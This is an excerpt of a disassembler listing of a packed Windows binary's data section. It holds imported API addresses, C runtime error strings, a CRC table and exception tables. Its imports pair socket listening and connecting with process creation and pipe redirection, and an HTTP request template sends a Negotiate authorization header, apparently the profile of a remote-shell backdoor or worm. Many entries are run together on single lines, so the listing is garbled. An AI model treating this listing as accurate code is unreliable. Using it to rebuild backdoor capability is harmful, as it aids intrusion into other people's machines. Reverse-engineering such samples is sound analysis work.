		align 4
		mov	ecx, [ebp-10h]
		jmp	sub_4201B5
; ---------------------------------------------------------------------------


loc_4202F0:				; DATA XREF: sub_41FF4Eo
		mov	eax, offset dword_422050
		jmp	loc_416113
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp-20h]
		jmp	loc_404B16
; ---------------------------------------------------------------------------


loc_420304:				; DATA XREF: sub_41FFDCo
		mov	eax, offset dword_4220B8
		jmp	loc_416113
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4201B5
; ---------------------------------------------------------------------------


loc_420318:				; DATA XREF: sub_420036o
		mov	eax, offset dword_4220E0
		jmp	loc_416113
; ---------------------------------------------------------------------------
		align 4
		dd 337h	dup(0)
dword_421000	dd 7C81AE17h	; resolved to->KERNEL32.GetExitCodeProcessdword_421004	dd 7C833478h	; resolved to->KERNEL32.SetEnvironmentVariableAdword_421008	dd 7C80A35Eh	; resolved to->KERNEL32.CompareStringW					; sub_41F845+261r
dword_42100C	dd 7C80D077h	; resolved to->KERNEL32.CompareStringA					; sub_41F845+B9r
dword_421010	dd 7C832044h	; resolved to->KERNEL32.SetEndOfFiledword_421014	dd 7C80BCCFh	; resolved to->KERNEL32.IsBadCodePtrdword_421018	dd 7C809E01h	; resolved to->KERNEL32.IsBadReadPtrdword_42101C	dd 7C84467Dh	; resolved to->KERNEL32.SetUnhandledExceptionFilter					; sub_41DF59+6r
dword_421020	dd 7C812641h	; resolved to->KERNEL32.FlushFileBuffersdword_421024	dd 7C81DC03h	; resolved to->KERNEL32.SetStdHandle					; sub_41D44C:loc_41D49Fr
dword_421028	dd 7C80A490h	; resolved to->KERNEL32.GetStringTypeW					; sub_41D1F7+12Dr
dword_42102C	dd 7C838A0Ch	; resolved to->KERNEL32.GetStringTypeA					; sub_41D1F7+8Dr
dword_421030	dd 7C810E51h	; resolved to->KERNEL32.GetFileType					; sub_41CC52+166r ...
dword_421034	dd 7C812F39h	; resolved to->KERNEL32.GetStdHandle					; sub_41CF19+143r
dword_421038	dd 7C80CC97h	; resolved to->KERNEL32.SetHandleCountdword_42103C	dd 7C812F08h	; resolved to->KERNEL32.GetEnvironmentStringsWdword_421040	dd 7C81CF5Bh	; resolved to->KERNEL32.GetEnvironmentStringsA					; sub_41CB20+E1r
dword_421044	dd 7C814AE7h	; resolved to->KERNEL32.FreeEnvironmentStringsWdword_421048	dd 7C80C058h	; resolved to->KERNEL32.ExitThread					; sub_401447+95r ...
dword_42104C	dd 7C80929Ch	; resolved to->KERNEL32.GetTickCount					; sub_401447+1A6r ...
dword_421050	dd 7C80A427h	; resolved to->KERNEL32.QueryPerformanceCounter					; sub_4010B2+2D4r ...
dword_421054	dd 7C82FA46h	; resolved to->KERNEL32.QueryPerformanceFrequency					; sub_4018CA+FFr
dword_421058	dd 7C814EEAh	; resolved to->KERNEL32.GetSystemDirectoryA					; sub_40AAD1+183r ...
dword_42105C	dd 7C80A7D4h	; resolved to->KERNEL32.GetLocalTime					; sub_40B16D+Dr ...
dword_421060	dd 7C802442h	; resolved to->KERNEL32.Sleep					; sub_40283D+E3r ...
dword_421064	dd 7C809BF8h	; resolved to->KERNEL32.MultiByteToWideChar					; sub_4030C0+65r ...
dword_421068	dd 7C80180Eh	; resolved to->KERNEL32.ReadFile					; sub_406A32+80r ...
dword_42106C	dd 7C809B47h	; resolved to->KERNEL32.CloseHandle					; sub_4033CB+150r ...
dword_421070	dd 7C810D87h	; resolved to->KERNEL32.WriteFile					; sub_409E15+AEr ...
dword_421074	dd 7C8312E5h	; resolved to->KERNEL32.TransactNamedPipedword_421078	dd 7C801A24h	; resolved to->KERNEL32.CreateFileA					; sub_406100+1C4r ...
dword_42107C	dd 7C80B4CFh	; resolved to->KERNEL32.GetModuleFileNameA					; sub_407276+58r ...
dword_421080	dd 7C83632Dh	; resolved to->KERNEL32.GetTimeFormatA					; sub_40AAD1+1B6r
dword_421084	dd 7C8361EEh	; resolved to->KERNEL32.GetDateFormatA					; sub_40AAD1+19Fr
dword_421088	dd 7C910331h	; resolved to->NTDLL.RtlGetLastWin32Error					; sub_407276:loc_4073B2r ...
dword_42108C	dd 7C810637h	; resolved to->KERNEL32.CreateThread					; sub_407276+10Er ...
dword_421090	dd 7C810A77h	; resolved to->KERNEL32.GetFileSize					; sub_406A32+38r ...
dword_421094	dd 7C81153Ch	; resolved to->KERNEL32.GetFileAttributesA					; sub_409E15+10Fr ...
dword_421098	dd 7C80EDD7h	; resolved to->KERNEL32.FindClose					; sub_4088A0+C0r ...
dword_42109C	dd 7C80E7ECh	; resolved to->KERNEL32.FileTimeToSystemTimedword_4210A0	dd 7C80E866h	; resolved to->KERNEL32.FileTimeToLocalFileTimedword_4210A4	dd 7C834EB1h	; resolved to->KERNEL32.FindNextFileA					; sub_4063B0+5D7r ...
dword_4210A8	dd 7C8137D9h	; resolved to->KERNEL32.FindFirstFileA					; sub_4088A0+26r
dword_4210AC	dd 7C810B8Eh	; resolved to->KERNEL32.SetFilePointer					; sub_40B712+259r ...
dword_4210B0	dd 7C9010EDh	; resolved to->NTDLL.RtlLeaveCriticalSectiondword_4210B4	dd 7C901005h	; resolved to->NTDLL.RtlEnterCriticalSectiondword_4210B8	dd 7C80B829h	; resolved to->KERNEL32.InitializeCriticalSectionAndSpinCountdword_4210BC	dd 7C91188Ah	; resolved to->NTDLL.RtlDeleteCriticalSection					; sub_40799F+22Fr
dword_4210C0	dd 7C801D77h	; resolved to->KERNEL32.LoadLibraryA					; sub_4089F2:loc_408EE2r ...
dword_4210C4	dd 7C80ADA0h	; resolved to->KERNEL32.GetProcAddress					; sub_419EEF+15r ...
dword_4210C8	dd 7C80B6A1h	; resolved to->KERNEL32.GetModuleHandleA					; sub_409E15+FBr ...
dword_4210CC	dd 7C82F7A0h	; resolved to->KERNEL32.FormatMessageAdword_4210D0	dd 7C80FE82h	; resolved to->KERNEL32.GlobalUnlockdword_4210D4	dd 7C80FF19h	; resolved to->KERNEL32.GlobalLockdword_4210D8	dd 7C80B974h	; resolved to->KERNEL32.UnmapViewOfFiledword_4210DC	dd 7C80B905h	; resolved to->KERNEL32.MapViewOfFiledword_4210E0	dd 7C80945Ch	; resolved to->KERNEL32.CreateFileMappingAdword_4210E4	dd 7C831CB8h	; resolved to->KERNEL32.SetFileTimedword_4210E8	dd 7C831C45h	; resolved to->KERNEL32.GetFileTimedword_4210EC	dd 7C802367h	; resolved to->KERNEL32.CreateProcessA					; sub_409F9D+B4r ...
dword_4210F0	dd 7C8329D9h	; resolved to->KERNEL32.ExpandEnvironmentStringsAdword_4210F4	dd 7C812782h	; resolved to->KERNEL32.SetFileAttributesA					; sub_40C682+1BFr ...
dword_4210F8	dd 7C835DCAh	; resolved to->KERNEL32.GetTempPathA					; sub_40CE55+3D2Fr
dword_4210FC	dd 7C85F90Fh	; resolved to->KERNEL32.PeekNamedPipedword_421100	dd 7C80DDFEh	; resolved to->KERNEL32.DuplicateHandledword_421104	dd 7C80DDF5h	; resolved to->KERNEL32.GetCurrentProcess					; sub_413D67+Cr ...
dword_421108	dd 7C81E0C7h	; resolved to->KERNEL32.CreatePipedword_42110C	dd 7C812ADEh	; resolved to->KERNEL32.GetVersionExA					; .nsp0:004142A7r
dword_421110	dd 7C8310F2h	; resolved to->KERNEL32.GlobalMemoryStatusdword_421114	dd 7C81CDDAh	; resolved to->KERNEL32.ExitProcess					; sub_40C59A+DFr ...
dword_421118	dd 7C831EABh	; resolved to->KERNEL32.DeleteFileA					; sub_40CE55+473Er ...
dword_42111C	dd 7C8309E1h	; resolved to->KERNEL32.OpenProcess					; sub_413DD2+175r ...
dword_421120	dd 7C809920h	; resolved to->KERNEL32.GetCurrentProcessIddword_421124	dd 7C8286EEh	; resolved to->KERNEL32.CopyFileAdword_421128	dd 7C802520h	; resolved to->KERNEL32.WaitForSingleObject					; sub_40C682+309r
dword_42112C	dd 7C80E93Fh	; resolved to->KERNEL32.CreateMutexAdword_421130	dd 7C81CE03h	; resolved to->KERNEL32.TerminateThread					; sub_4150CE+2Br
dword_421134	dd 7C835E8Fh	; resolved to->KERNEL32.MoveFileAdword_421138	dd 7C80A0D4h	; resolved to->KERNEL32.WideCharToMultiByte					; sub_41BD71+20Dr ...
dword_42113C	dd 7C8216A4h	; resolved to->KERNEL32.GetComputerNameA					; .nsp0:0041419Cr
dword_421140	dd 7C801E16h	; resolved to->KERNEL32.TerminateProcess					; sub_414061+1Fr ...
dword_421144	dd 7C80D262h	; resolved to->KERNEL32.GetLocaleInfoAdword_421148	dd 7C830B14h	; resolved to->KERNEL32.GetLogicalDrivesdword_42114C	dd 7C9105D4h	; resolved to->NTDLL.RtlAllocateHeap					; sub_4174DF+AFr ...
dword_421150	dd 7C91043Dh	; resolved to->NTDLL.RtlFreeHeap					; sub_418B28+2C4r ...
dword_421154	dd 7C937A40h	; resolved to->NTDLL.RtlUnwinddword_421158	dd 7C8350BFh	; resolved to->KERNEL32.GetTimeZoneInformation					; sub_41E162+38r
dword_42115C	dd 7C80176Bh	; resolved to->KERNEL32.GetSystemTimedword_421160	dd 7C9179FDh	; resolved to->NTDLL.RtlReAllocateHeap					; sub_41915C+28r
dword_421164	dd 7C801EEEh	; resolved to->KERNEL32.GetStartupInfoA					; sub_41CC52+59r
dword_421168	dd 7C812F1Dh	; resolved to->KERNEL32.GetCommandLineAdword_42116C	dd 7C8111DAh	; resolved to->KERNEL32.GetVersiondword_421170	dd 7C810EF8h	; resolved to->KERNEL32.HeapDestroydword_421174	dd 7C812BB6h	; resolved to->KERNEL32.HeapCreatedword_421178	dd 7C809AE4h	; resolved to->KERNEL32.VirtualFreedword_42117C	dd 7C809A51h	; resolved to->KERNEL32.VirtualAlloc					; sub_41920D+51r
dword_421180	dd 7C809E79h	; resolved to->KERNEL32.IsBadWritePtrdword_421184	dd 7C812A09h	; resolved to->KERNEL32.RaiseException					; sub_420209+2Er
dword_421188	dd 7C9109EDh	; resolved to->NTDLL.RtlSizeHeapdword_42118C	dd 7C838DE8h	; resolved to->KERNEL32.LCMapStringA					; sub_41BD71+A7r
dword_421190	dd 7C80CCA8h	; resolved to->KERNEL32.LCMapStringW					; sub_41BD71+14Dr ...
dword_421194	dd 7C812E76h	; resolved to->KERNEL32.GetCPInfo					; sub_41C1FF+14r ...
dword_421198	dd 7C809915h	; resolved to->KERNEL32.GetACPdword_42119C	dd 7C8127A7h	; resolved to->KERNEL32.GetOEMCPdword_4211A0	dd 7C862E2Ah	; resolved to->KERNEL32.UnhandledExceptionFilterdword_4211A4	dd 7C81DF77h	; resolved to->KERNEL32.FreeEnvironmentStringsA		dd 0
dword_4211AC	dd 71AB4428h	; resolved to->WS2_32.WSACleanup					; sub_405A89+8Er
dword_4211B0	dd 71AB664Dh	; resolved to->WS2_32.WSAStartup					; sub_405A0C+15r
dword_4211B4	dd 71AB3EA1h	; resolved to->WS2_32.setsockoptdword_4211B8	dd 71AB4519h	; resolved to->WS2_32.ioctlsocketdword_4211BC	dd 71AB3E00h	; resolved to->WS2_32.binddword_4211C0	dd 71AB88D3h	; resolved to->WS2_32.listendword_4211C4	dd 71AC1028h	; resolved to->WS2_32.acceptdword_4211C8	dd 71AB4FD4h	; resolved to->WS2_32.gethostbynamedword_4211CC	dd 71AC0BDEh	; resolved to->WS2_32.shutdowndword_4211D0	dd 71AB2DC0h	; resolved to->WS2_32.select					; sub_405409+115r
dword_4211D4	dd 71AB4544h	; resolved to->WS2_32.__WSAFDIsSetdword_4211D8	dd 71AB2BF4h	; resolved to->WS2_32.inet_addr					; sub_402DDD+2Ar ...
dword_4211DC	dd 71AB2B66h	; resolved to->WS2_32.ntohs					; sub_402988+EDr ...
dword_4211E0	dd 71AB3B91h	; resolved to->WS2_32.socket					; sub_402DDD+49r ...
dword_4211E4	dd 71AB406Ah	; resolved to->WS2_32.connect					; sub_402DDD+64r ...
dword_4211E8	dd 71AB615Ah	; resolved to->WS2_32.recv					; sub_40283D+135r ...
dword_4211EC	dd 71AB428Ah	; resolved to->WS2_32.send					; sub_402988+26Br ...
dword_4211F0	dd 71AB9639h	; resolved to->WS2_32.closesocket					; sub_402DDD+154r ...
		align 8
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40484C+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 8
dbl_421238	dq 1.388888888888889e-2	; DATA XREF: sub_40465E+2Fr
dbl_421240	dq 1.666666666666667e-1	; DATA XREF: sub_40465E+15r
dword_421248	dd 0FFFFFFFFh						; sub_404B1Er ...
		align 10h
dbl_421250	dq 1.333333333333333	; DATA XREF: sub_4046AA+79r
dword_421258	dd 0							; sub_404BCE+5Bo ...
dword_42125C	dd 0				dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
		dd 0
dbl_421660	dq 9.765625e-4		; DATA XREF: sub_40BCEF+2BDr
					; sub_40BCEF+2D8r ...
dbl_421668	dq -3.0517578125e-5	; DATA XREF: sub_414098+1Er
dbl_421670	dq 1.0			; DATA XREF: sub_415E6C+6Cr
					; sub_415FB3+6Cr ...
dword_421678	dd 0FFFFFFFFh, 417BCFh,	417BE3hbyte_421684	db 6			; DATA XREF: sub_417D4C:loc_417DA3r
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: .nsp0:off_437D6Co
		unicode	0, <(null)>,0
		align 10h
aNull_0		db '(null)',0           ; DATA XREF: .nsp0:off_437D68o
		align 4
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 10h
aAtan2		db 'atan2',0
		align 4
aAtan		db 'atan',0
		align 10h
aAcos		db 'acos',0
		align 4
aAsin		db 'asin',0
		align 10h
aTanh		db 'tanh',0
		align 4
aCosh		db 'cosh',0
		align 10h
aSinh		db 'sinh',0
		align 4
aLog10		db 'log10',0
		align 10h
aLog		db 'log',0
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: .nsp0:off_437F94o
		align 10h
dbl_4217B0	dq 0.0			; DATA XREF: sub_41999C+8Cr
					; sub_41999C+ACr ...
dbl_4217B8	dq 4.195835e6		; DATA XREF: sub_419EB1+Fr
dbl_4217C0	dq 3.145727e6		; DATA XREF: sub_419EB1+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_419EEF+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_419EEFo
		align 10h
aE000		db 'e+000',0            ; DATA XREF: sub_41A016+93o
		align 4
dword_4217F8	dd 0FFFFFFFFh, 41A701h,	41A70Bh, 0dword_421808	dd 0FFFFFFFFh, 0		dd offset loc_41A887
		align 8
		dd offset sub_41A865
		dd offset sub_41A86F
dword_421820	dd 0FFFFFFFFh, 41AAB7h,	41AABBh, 0dword_421830	dd 0FFFFFFFFh, 41AB19h,	41AB22h, 0dword_421840	dd 0FFFFFFFFh, 0		dd offset loc_41ABED
		align 10h
		dd offset loc_41ABD9
		dd offset loc_41ABDD
dword_421858	dd 0FFFFFFFFh, 0		dd offset loc_41AC43
		align 8
		dd offset loc_41AC2F
		dd offset loc_41AC33
dword_421870	dd 2 dup(0)						; sub_41D1F7+39o ...
dword_421878	dd 0FFFFFFFFh, 41BE81h,	41BE85h, 0FFFFFFFFh, 41BF35h, 41BF39h
					; DATA XREF: sub_41BD71+5o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 10h
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 10h
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 4
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 10h
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: .nsp0:off_4383DCo
		db '- floating point not loaded',0Dh,0Ah,0
		align 4
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_41CF19+119o
		align 10h
asc_421B40	db 0Ah			; DATA XREF: sub_41CF19+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_41CF19+D3o
		db 0Ah
		db 'Program: ',0
		align 10h
a___		db '...',0              ; DATA XREF: sub_41CF19+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_41CF19+7Do
		align 10h
dword_421B80	dd 0FFFFFFFFh, 41D2F0h,	41D2F4haSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
aTz		db 'TZ',0               ; DATA XREF: sub_41E162+Ao
		align 10h
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_41E6EE+3Do
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_41E6EE+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_41E6EE+24o
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_41F004:loc_41F0F9o
		align 4
a1Inf		db '1#INF',0            ; DATA XREF: sub_41F004+D8o
		align 10h
a1Ind		db '1#IND',0            ; DATA XREF: sub_41F004+C7o
		align 4
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_41F004+ADo
		align 10h
dword_421C20	dd 0FFFFFFFFh, 41F9FCh,	41FA00h, 0FFFFFFFFh, 41FA6Bh, 41FA6Fh
					; DATA XREF: sub_41F845+5o
		dd 421D40h
off_421C3C	dd offset loc_41FFA8	; DATA XREF: sub_41FDB0+4Do
					; sub_41FFC4+Co
		dd offset sub_41FE6E
		dd offset sub_41FF8B
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_41FDB0+1Eo
		dd offset dword_421D78
off_421C5C	dd offset loc_41FED5	; DATA XREF: sub_41FE0A+4Eo
					; sub_41FE98+11o ...
		dd offset sub_41FE6E
		dd offset sub_41FE7B
		dd offset dword_421DC8
off_421C6C	dd offset loc_420090	; DATA XREF: sub_41FFDC+4Do
					; sub_4200AC+Co
		dd offset sub_41FE6E
		dd offset sub_420073
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_41FFDC+1Eo
		dd offset dword_421DF8
off_421C94	dd offset sub_420112	; DATA XREF: sub_42012E+8o
					; sub_42016B+8o ...
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 1, 42h, 0
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: .nsp0:004201D2o
		align 10h
		dd offset dword_421E40
off_421CB4	dd offset loc_4201ED	; DATA XREF: sub_4201D8o
					; .nsp0:off_438B00o ...
dword_421CB8	dd 0E06D7363h, 1, 2 dup(0)		dd 3, 19930520h, 2 dup(0)
off_421CD8	dd offset off_438B00	; DATA XREF: .nsp0:00421D28o
					; .nsp0:00421D5Co ...
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_421CF0	dd offset off_438B18	; DATA XREF: .nsp0:00421D24o
					; .nsp0:00421D58o ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
off_421D08	dd offset off_438B38	; DATA XREF: .nsp0:00421D20o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_421D08
		dd offset off_421CF0
		dd offset off_421CD8
dword_421D2C	dd 3 dup(0)			dd 3, 421D20h, 3 dup(0)
		dd offset off_438B38
		dd offset dword_421D2C+4
		align 8
		dd offset off_421CF0
		dd offset off_421CD8
dword_421D60	dd 4 dup(0)			dd 2, 421D58h
dword_421D78	dd 3 dup(0)			dd offset off_438B18
		dd offset dword_421D60+8
		align 10h
off_421D90	dd offset off_438B58	; DATA XREF: .nsp0:00421DA8o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_421D90
		dd offset off_421CF0
		dd offset off_421CD8
		dd 0
		db    0			; DATA XREF: .nsp0:00421DD8o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 3, 421DA8h
dword_421DC8	dd 3 dup(0)			dd offset off_438B58
		dd offset unk_421DB8
		dd offset off_421CD8
dword_421DE0	dd 4 dup(0)			dd 1, 421DDCh
dword_421DF8	dd 3 dup(0)			dd offset off_438B00
		dd offset dword_421DE0+8
		align 10h
off_421E10	dd offset off_438B78	; DATA XREF: .nsp0:00421E28o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_421E10
dword_421E2C	dd 3 dup(0)			dd 1, 421E28h
dword_421E40	dd 3 dup(0)			dd offset off_438B78
		dd offset dword_421E2C+4
		align 8
dword_421E58	dd 19930520h, 2, 421E78h, 5 dup(0)		dd 0FFFFFFFFh, 42024Ch,	0
		dd offset sub_420244
dword_421E88	dd 19930520h, 2, 421EA8h, 5 dup(0)		dd 0FFFFFFFFh, 420270h,	0
		dd offset loc_420278
dword_421EB8	dd 19930520h, 2, 421ED8h, 1, 421EE8h, 3	dup(0)
					; DATA XREF: .nsp0:loc_42028Co
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 421F00h, 4	dup(0)
		dd offset loc_404E38
		dd 0
		dd offset off_438B00
		dd 0
		dd 0FFFFFFFFh, 0
		dd 0Ch,	42016Bh, 2 dup(0)
		dd offset off_438B18
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	41FEF1h, 2 dup(0)
		dd offset off_438B38
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	41FFC4h, 0
dword_421F70	dd 3, 421F50h, 421F30h,	421F10hdword_421F80	dd 0							; sub_41FF8B+12o
		dd offset sub_41FF4E
		dd 0
		dd offset dword_421F70
dword_421F90	dd 19930520h, 1, 421FB0h, 5 dup(0)		dd 0FFFFFFFFh, 420298h
dword_421FB8	dd 19930520h, 1, 421FD8h, 5 dup(0)dword_421FD8	dd 0FFFFFFFFh, 4202ACh,	2, 421F30h, 421F10h, 0dword_421FF0	dd 0				dd offset sub_41FE98
		dd 0
		dd offset dword_421FD8+8
dword_422000	dd 19930520h, 1, 422020h, 5 dup(0)		dd 0FFFFFFFFh, 4202C0h
dword_422028	dd 19930520h, 1, 422048h, 5 dup(0)		dd 0FFFFFFFFh, 4202D4h
dword_422050	dd 19930520h, 1, 422070h, 5 dup(0)		dd 0FFFFFFFFh, 4202E8h,	0
		dd offset off_438B58
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	4200ACh, 0
dword_422098	dd 3, 422078h, 421F30h,	421F10hdword_4220A8	dd 0							; sub_420073+12o
		dd offset sub_420036
		dd 0
		dd offset dword_422098
